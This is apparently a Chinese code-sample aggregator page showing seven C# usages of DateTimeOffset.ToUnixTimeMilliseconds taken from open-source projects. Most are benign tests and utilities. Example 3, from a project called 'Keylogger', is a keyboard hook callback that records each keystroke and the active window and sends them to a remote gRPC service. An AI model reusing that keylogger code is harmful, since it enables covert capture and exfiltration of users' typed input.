当前位置: 首页>>代码示例>>C#>>正文


C# DateTimeOffset.ToUnixTimeMilliseconds方法代码示例

本文整理汇总了C#中DateTimeOffset.ToUnixTimeMilliseconds方法的典型用法代码示例。如果您正苦于以下问题:C# DateTimeOffset.ToUnixTimeMilliseconds方法的具体用法?C# DateTimeOffset.ToUnixTimeMilliseconds怎么用?C# DateTimeOffset.ToUnixTimeMilliseconds使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在DateTimeOffset的用法示例。


在下文中一共展示了DateTimeOffset.ToUnixTimeMilliseconds方法的7个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。

示例1: ToUnixTimeInMilliseconds_DateTimeOffset_ShouldMatch

        public void ToUnixTimeInMilliseconds_DateTimeOffset_ShouldMatch()
        {
            var offset = new DateTimeOffset(2016, 1, 8, 4, 11, 28, TimeSpan.FromHours(7));
            var expected = offset.ToUnixTimeMilliseconds();
            var actual = offset.ToUnixTimeInMilliseconds();

            Assert.AreEqual(expected, actual);
        }
开发者ID:Syn-McJ,项目名称:PlugToolkit,代码行数:8,代码来源:UnixDateTimeHelperTests.cs

示例2: ScheduleAlarm

		/// <summary>
		/// Schedules an alarm.
		/// </summary>
		/// <param name="alarm">The alarm to be scheduled.</param>
		public void ScheduleAlarm (Alarm alarm)
		{
			var intent = new Intent (context, typeof (AlarmIntentService));
			// intent.PutExtra (AlarmIntentService.ALARM_KEY, alarm);
			// TODO - workaround https://github.com/googlesamples/android-DirectBoot/issues/4
			intent.PutExtra ("id", alarm.Id);
			intent.PutExtra ("year", alarm.Year);
			intent.PutExtra ("month", alarm.Month);
			intent.PutExtra ("day", alarm.Day);
			intent.PutExtra ("hour", alarm.Hour);
			intent.PutExtra ("minute", alarm.Minute);
			var pendingIntent = PendingIntent.GetService (context, alarm.Id, intent, PendingIntentFlags.UpdateCurrent);
			var triggerOffset = new DateTimeOffset (alarm.GetTriggerTime ());
			var alarmClockInfo = new AlarmManager.AlarmClockInfo (triggerOffset.ToUnixTimeMilliseconds (), pendingIntent);
			alarmManager.SetAlarmClock (alarmClockInfo, pendingIntent);
			Log.Info (TAG, $"Alarm scheduled at {alarm.Hour}:{alarm.Minute} {alarm.Year}-{alarm.Month}-{alarm.Day}");
		}
开发者ID:Appercode,项目名称:monodroid-samples,代码行数:21,代码来源:AlarmUtil.cs

示例3: HookCallback

        ///<summary>
        /// HookCallback function
        /// 
        /// Called each time a Hook Event is fired. If the type of event is a KeyPress append the keypress and metadata to a keypress log.
        /// This function calls the next hook in the hook chain.
        ///</summary>
        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if ((client != null) && (client.Channel.State != ChannelState.FatalFailure)){
                if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
                {
                    // Create a KeyPress object and get keypress metadata.
                    KeyPress ks = new KeyPress();
                    DateTimeOffset x = new DateTimeOffset(DateTime.Now);
                    ks.Key = Marshal.ReadInt32(lParam);
                    ks.Timestamp = x.ToUnixTimeMilliseconds();
                    ks.ActiveProgram = GetActiveWindowName();

                    // Un-Comment these lines to write the KeyStrokes in the JSON human readable format. C# proto
                    // implementation lacks support for the Text encoding, the json encoding is the most human readable format.
                    //StreamWriter o = new StreamWriter(log+".json");
                    //o.WriteLine(ks.ToString());
                    //o.Close();
                    try {
                        client.PutKeyPressAsync(ks);
                    }
                    catch (RpcException e)
                    {
                        //Console.WriteLine("RPC Failed: " + e);
                    }
                }
            }

            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }
开发者ID:rlguarino,项目名称:Keylogger,代码行数:35,代码来源:KeyLogger.cs

示例4: BeaconEventStateToString

 public static string BeaconEventStateToString(string pid, BeaconEventType type, DateTimeOffset now)
 {
     return string.Format("{0},{1},{2}", pid, (int)type, now.ToUnixTimeMilliseconds());
 }
开发者ID:sensorberg-dev,项目名称:windows10-sdk,代码行数:4,代码来源:FileStorageHelper.cs

示例5: DelayedActionToString

 public static string DelayedActionToString(string action, DateTimeOffset dueTime, bool executed, string guid, string location)
 {
     return string.Format("{0},{1},{2},{3},{4}\n", guid, dueTime.ToUnixTimeMilliseconds(), executed, action, location);
 }
开发者ID:sensorberg-dev,项目名称:windows10-sdk,代码行数:4,代码来源:FileStorageHelper.cs

示例6: ActionToString

 internal static string ActionToString(string uuid, string beaconPid, DateTimeOffset timestamp, int beaconEventType, bool delivered, bool background, string location)
 {
     return string.Format("{0},{1},{2},{3},{4},{5},{6}\n", uuid, beaconPid, timestamp.ToUnixTimeMilliseconds(), beaconEventType, delivered, background, location);
 }
开发者ID:sensorberg-dev,项目名称:windows10-sdk,代码行数:4,代码来源:FileStorageHelper.cs

示例7: StripMicroSeconds

 private static DateTimeOffset StripMicroSeconds(DateTimeOffset t)
 {
     // We can't use DateTimeOffsets to compare since the resolution of a ulid is milliseconds, and DateTimeOffset
     // has microseconds and more. So we drop that part by converting to UnixTimeMilliseconds and then back to
     // a DateTimeOffset.
     return DateTimeOffset.FromUnixTimeMilliseconds(t.ToUnixTimeMilliseconds());
 }
开发者ID:RobThree,项目名称:NUlid,代码行数:7,代码来源:UlidTests.cs


注:本文中的DateTimeOffset.ToUnixTimeMilliseconds方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。